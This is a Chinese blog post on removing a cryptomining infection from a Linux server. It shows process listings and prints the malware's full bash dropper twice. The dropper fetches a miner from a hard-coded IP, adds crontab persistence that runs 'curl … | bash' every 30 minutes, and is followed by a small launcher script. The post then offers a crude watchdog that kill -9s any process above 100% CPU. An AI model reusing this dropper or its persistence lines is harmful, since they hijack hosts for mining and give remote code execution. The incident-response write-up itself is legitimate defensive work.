Linux下CPU1000%记一次挖矿病毒清理流程

今天top后发现一个进程CPU高1795%,判断是病毒

查找进程ps -elf|grep 进程idpid和ppid查找到sleep进程

ps -ef|grep 4277

查看具体进程内容,ll /proc/进程idpid

ll /proc/4277

ls -l /proc/{pid号}
ls -l /proc/{pid号}/exe

 kill掉病毒进程

 排查病毒代码位置

排查 www用户执行所有进程

ps -ef|grep www 发现

36239 www       20   0   76272   4976    452 S   0.3  0.0 174:24.97 .image.jpg
/tmp/.image.jpg (deleted)
www      202401  0.0  0.0 113292  1516 ?        S    07:01   0:00 /var/tmp/.x/secure -c
www      248458      1  0 08:01 ?        00:00:00 /var/tmp/.x/secure -c
www       3241  0.1  0.0 113724  1836 ?        S    4月01 151:10 /bin/sh ./php
www       3243  0.1  0.0 113724  1844 ?        S    4月01 151:49 /bin/sh ./php
/proc/3243/exe -> /usr/bin/bash


/tmp/.XIM-unix/admin/.sftp (deleted)
/tmp/.XIM-unix/admin/.sftp (deleted)
exe -> /usr/bin/bash



#!/bin/bash ifrunning=$(pgrep xrx) ######################## ######################## downloadminer(){ ?link1="http://95.214.24.102:6972/xrx/xrx" ?link2="http://95.214.24.102:6972/configs/config-xrx.json" ?mkdir /var/tmp/.xrx ?cd /var/tmp/.xrx/ ?chattr -ia /var/tmp/.xrx/xrx ?chattr -ia /var/tmp/.xrx/config.json ?rm -rf /var/tmp/.xrx/xrx ?rm -rf /var/tmp/.xrx/config.json ?curl  -L -O $link1 || cd1  -L -O $link1 || wget $link1 --no-check-certificate ?curl  -L -O $link2 || cd1  -L -O $link2 || wget $link2 --no-check-certificate ?mv config-xrx.json config.json ?chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( $EUID != 0 )); then ?if ! crontab -l | grep -q 'secure'; then ?cd /dev/shm ?rm -rf /dev/shm/.spark ?echo "@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?echo "@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?echo "1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?echo "*/30 * * * * curl 95.214.24.102:1011/next | bash " >> .spark ?crontab .spark ?sleep 2 ?rm -rf /dev/shm/.spark ?fi fi if (( $EUID == 0 )); then ?if ! cat /etc/crontab | grep -q 'secure'; then ?echo "@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?echo "@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown $* " >> /etc/crontab ?echo "1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?echo "*/30 * * * * root curl 95.214.24.102:1011/next | bash " >> /etc/crontab ?fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print $5}'` if [ -f /var/tmp/.xrx/xrx ]; then ?echo "miner intact" ?else ?echo "miner not found,downloading..." ?downloadminer fi if [[ "$fsiz" -gt 0 ]]; then ?echo "miner size intact" ?else ?echo "filesize 0,downloading..." ?downloadminer fi } ######################## ######################## gettingmineru crontablegend  if test -z "$ifrunning" ; then ?echo "xrx not running,starting..." ?/var/tmp/.xrx/xrx </dev/null &>/dev/null & disown  -h  %1 ?sleep 1 ?echo -e "pid:" ?pgrep xrx fi  /var/tmp/.x/secure

 发现病毒文件

www      248458      1  0 08:01 ?        00:00:00 /var/tmp/.x/secure -c

16393 www       20   0  107740  73912      4 S   0.3  0.0   0:03.88 sh
/tmp/.XIM-unix/admin/sh (deleted)



#!/bin/bash ifrunning=$(pgrep xrx) ######################## ######################## 

downloadminer(){ ?
link1="http://95.214.24.102:6972/xrx/xrx" ?
link2="http://95.214.24.102:6972/configs/config-xrx.json" ?mkdir /var/tmp/.xrx ?
cd /var/tmp/.xrx/ ?
chattr -ia /var/tmp/.xrx/xrx ?
chattr -ia /var/tmp/.xrx/config.json ?
rm -rf /var/tmp/.xrx/xrx ?
rm -rf /var/tmp/.xrx/config.json ?
curl  -L -O $link1 || cd1  -L -O $link1 || wget $link1 --no-check-certificate ?
curl  -L -O $link2 || cd1  -L -O $link2 || wget $link2 --no-check-certificate ?
mv config-xrx.json config.json ?chmod +x /var/tmp/.xrx/xrx }
 ######################## ######################## 
crontablegend(){ if (( $EUID != 0 )); then ?
if ! crontab -l | grep -q 'secure'; then ?
cd /dev/shm ?
rm -rf /dev/shm/.spark ?
echo "@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?
sleep 1 ?
echo "@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?
echo "1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?
echo "*/30 * * * * curl 95.214.24.102:1011/next | bash " >> .spark ?crontab .spark ?
sleep 2 ?rm -rf /dev/shm/.spark ?fi fi if (( $EUID == 0 )); then ?
if ! cat /etc/crontab | grep -q 'secure'; then ?
echo "@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?
echo "@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown $* " >> /etc/crontab ?
echo "1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?
echo "*/30 * * * * root curl 95.214.24.102:1011/next | bash " >> /etc/crontab ?fi fi }
 ######################## ######################## 
gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print $5}'` if [ -f /var/tmp/.xrx/xrx ]; then ?
echo "miner intact" ?else ?echo "miner not found,downloading..." ?
downloadminer fi if [[ "$fsiz" -gt 0 ]]; then ?echo "miner size intact" ?else ?
echo "filesize 0,downloading..." ?downloadminer fi } 
######################## ######################## 
gettingmineru crontablegend  if test -z "$ifrunning" ; then ?echo "xrx not running,starting..." ?
/var/tmp/.xrx/xrx </dev/null &>/dev/null & disown  -h  %1 ?sleep 1 ?echo -e "pid:" ?pgrep xrx fi  /var/tmp/.x/secure

查找进程ps -elf|grep 进程idpid和ppid查找到sleep进程 

 

 病毒执行代码

#!/bin/bash
cd -- /tmp/.XIM-unix/admin
cp -f -- .sh sh
./sh -c >/dev/null 2>&1
./.php -c >/dev/null 2>&1
rm -rf sh

 删除病毒代码

rm -rf admin

----------------------------------------------------------------------------------------

解决 linux top cpu超100 kill 脚本

在Linux系统中,top命令是一个常用的性能分析工具,它可以实时显示系统的进程信息。如果您希望监控CPU使用率超过100%的进程,并在发现时杀死这些进程,可以编写一个简单的脚本来实现这个功能。

以下是一个简单的Bash脚本示例,它会定期运行top命令,并在发现CPU使用率超过100%的情况下杀死相应的进程:

#!/bin/bash
 
# 定义一个函数来检查CPU使用率并杀死进程
check_kill_process() {
    top_output=$(top -b -n 1 | grep "R" | awk '{if($9 > 100.0) print $1}')
    for pid in $top_output; do
        kill -9 $pid 2>/dev/null
        echo "Killed PID $pid because its CPU usage is greater than 100%"
    done
}
 
# 主循环,每隔一定时间运行检查函数
while true; do
    check_kill_process
    sleep 5  # 每隔5秒检查一次
done

请注意,该脚本使用了top命令的-b(批处理模式)和-n(指定循环次数)选项,以及管道(|)和grepawk等命令来分析和处理输出。脚本会无限循环地运行,每5秒检查一次系统进程的CPU使用情况,并在发现CPU使用率超过100%时杀死相应的进程。

在运行这个脚本之前,请确保您对其中使用的命令和行为有足够的了解,并且已经考虑到了可能对系统稳定性造成的影响。此外,这个脚本应该在有足够权限的用户下运行,通常是root用户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/669126.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Android开机动画的结束过程BootAnimation(基于Android10.0.0-r41)

文章目录 Android 开机动画的结束过程BootAnimation(基于Android10.0.0-r41) Android 开机动画的结束过程BootAnimation(基于Android10.0.0-r41) 路径frameworks/base/cmds/bootanimation/bootanimation_main.cpp init进程把我们的BootAnimation的二进制文件拉起来了&#xf…

如何备份RDK X3(旭日X3派)的 SD卡镜像

该方法可以在Ubuntu的开发机上生成一个img镜像&#xff0c;后续可以直接使用rufus软件烧录备份好的镜像。 Step 1&#xff1a;在Ubuntu的开发机上安装gparted软件 如果安装失败则需要为您的Ubuntu开发机换源&#xff0c;这里推荐阿里源&#xff1a;https://developer.aliyun.…

用户购物性别模型标签(USG)之决策树模型

一、USG模型引入: 首先了解一下&#xff0c;如何通过大数据来确定用户的真实性别&#xff0c; 经常谈论的用户精细化运营&#xff0c;到底是什么? 简单来讲&#xff0c;就是将网站的每个用户标签化&#xff0c;制作一个属于用户自己的网络身份证。然后&#xff0c;运营人员 通…

【算法】贪心算法简介

贪心算法概述 目录 1.贪心算法概念2.贪心算法特点3.贪心算法学习 1.贪心算法概念 贪心算法是一种 “思想” &#xff0c;即解决问题时从 “局部最优” 从而达到 “全局最优” 的效果。 ①把解决问题的过程分为若干步②解决每一步时候&#xff0c;都选择当前最优解(不关注全局…

基于SSM前后端分离版本的论坛系统-自动化测试

目录 前言 一、测试环境 二、环境部署 三、测试用例 四、执行测试 4.1、公共类设计 创建浏览器驱动对象 测试套件 释放驱动类 4.2、功能测试 注册页面 登录页面 版块 帖子 用户个人中心页 站内信 4.3、界面测试 注册页面 登录页面 版块 帖子 用户个人中心页…

数据整理操作及众所周知【数据分析】

各位大佬好 &#xff0c;这里是阿川的博客&#xff0c;祝您变得更强 个人主页&#xff1a;在线OJ的阿川 大佬的支持和鼓励&#xff0c;将是我成长路上最大的动力 阿川水平有限&#xff0c;如有错误&#xff0c;欢迎大佬指正 Python 初阶 Python–语言基础与由来介绍 Python–…

进程与线程(二)

进程与线程&#xff08;二&#xff09; exec函数族守护进程守护进程的概念Linux守护进程的编写步骤创建子进程&#xff0c;父进程退出在子进程中创建新会话改变当前目录为根目录重设文件权限掩码关闭文件描述符守护进程案例编写 线程线程的概念Linux下进程和线程的区别 Linux下…

C++基础编程100题-002 OpenJudge-1.1-04 输出保留3位小数的浮点数

更多资源请关注纽扣编程微信公众号 002 OpenJudge-1.1-04 输出保留3位小数的浮点数 http://noi.openjudge.cn/ch0101/04/ 描述 读入一个单精度浮点数&#xff0c;保留3位小数输出这个浮点数。 输入 只有一行&#xff0c;一个单精度浮点数。 输出 也只有一行&#xff0c;…

java —— 集合

一、集合的概念 集合可以看做是一个存储对象的容器&#xff0c;与数组不同的是集合可以存储不同类型的对象&#xff0c;但开发中一般不这样做。集合不能存储基本类型的对象&#xff0c;如果存储则需要将其转化为对应的包装类。 二、集合的分类 集合分为 Collection 和 Map 两…

2024抖音流量认知课:掌握流量底层逻辑,明白应该选择什么赛道 (43节课)

课程下载&#xff1a;https://download.csdn.net/download/m0_66047725/89360865 更多资源下载&#xff1a;关注我。 课程目录 01序言&#xff1a;拍前请看.mp4 02抖音建模逻辑1.mp4 03抖音标签逻辑2.mp4 04抖音推流逻辑3.mp4 05抖音起号逻辑4.mp4 06养号的意义.mp4 0…

算法解析——单身狗问题

欢迎来到博主的专栏&#xff1a;算法解析 博主ID代码小豪 文章目录 什么是单身狗问题leetcode_136——只出现一次的数字I使用位运算解决单身狗问题。 leetcode_137——只出现一次的数字II统计二进制数解决单身狗问题leetcode_260 只出现一次数字III分区域按位异或解决问题。 总…

iperf3带宽压测工具使用

iperf3带宽压测工具使用 安装下载地址&#xff1a;[下载入口](https://iperf.fr/iperf-download.php)测试结果&#xff1a;时长测试&#xff08;压测使用&#xff09;:并行测试反向测试UDP 带宽测试 iPerf3 是用于主动测试 IP 网络上最大可用带宽的工具 安装 下载地址&#x…

SAP 生产订单批量报工(代码分享)

最近公司一直在对成本这块的业务进行梳理,影响比较大的就是生产这块的报工,经常会要求要批量的冲销报工,然后在继续报工,来调整生产订单的实际工时,前面的博客中已经给大家分享了批量冲销生产订单的代码, 下面给大家分享一下生产订单批量报工的代码 首先流程制造和离散制…

如何解决研发数据传输层面安全可控、可追溯的共性需求?

研发数据在企业内部跨网文件交换&#xff0c;是相对较为普遍而频繁的文件流转需求&#xff0c;基于国家法律法规要求及自身安全管理需要&#xff0c;许多企业进行内部网络隔离。不同企业隔离方案各不相同&#xff0c;比如银行内部将网络隔离为生产网、办公网、DMZ区&#xff0c…

如何用ChatGPT上热门:完整使用教程与写作技巧

1. ChatGPT概述修订 ChatGPT是一款基于深度神经网络的语言生成技术&#xff0c;能够协助用户创造出各类高品质的文字材料&#xff0c;适宜广泛的应用场景&#xff0c;如编撰文章、文学创作及社交媒体内容生成。 2. 利用ChatGPT生成热门内容的基本步骤 为了有效利用ChatGPT创作…

代码随想录算法训练营第三十五 | ● 860.柠檬水找零 ● 406.根据身高重建队列 ● 452. 用最少数量的箭引爆气球

860.柠檬水找零 讲解链接&#xff1a;https://programmercarl.com/0860.%E6%9F%A0%E6%AA%AC%E6%B0%B4%E6%89%BE%E9%9B%B6.html 本题只有5元10元20元&#xff0c;只需要考虑收到5、10、20这三种情况&#xff1b; 收到5元&#xff0c;五块的个数&#xff1b; 收到10&#xff0c;找…

Appium安装及配置(Windows环境)

在做app相关自动化测试&#xff0c;需要使用appium来做中转操作&#xff0c;下面来介绍一下appium的环境安装配置 appium官方文档&#xff1a;欢迎 - Appium Documentation 一、下载appium 下载地址&#xff1a;https://github.com/appium/appium-desktop/releases?page3 通…

Java多线程--volatile关键字

并发编程的三大特性 可见性有序性原子性 可见性 为什么会有可见性问题&#xff1f; 多核CPU 为了提升CPU效率&#xff0c;设计了L1&#xff0c;L2&#xff0c;L3三级缓存&#xff0c;如图。 如果俩个核几乎同时操作同一块内存&#xff0c;cpu1修改完&#xff0c;当下是对c…

TDR原理的介绍

目录 简介 简单定义 TDR测试原理 简介 时域和频域就像孪生兄弟一样&#xff0c;经常在测试测量领域同时出现&#xff0c;可谓是工程师们分析问题和解决问题的两大法宝。所以&#xff0c;在某些测试场景中&#xff0c;如果有时域信息的护法&#xff0c;咱们就能从时频域两个维…

嵌入式Linux shell编程实例

1. 输入两个数&#xff0c;实现两个数的相加 &#xff08;1&#xff09;具体实现代码如下 1 #!/bin/bash2 read a3 read b4 sum$(($a$b))5 echo "$sum"&#xff08;2&#xff09;编辑完内容后按Esc键再输入:wq保存&#xff0c;回车退出&#xff0c;执行结果如下图&a…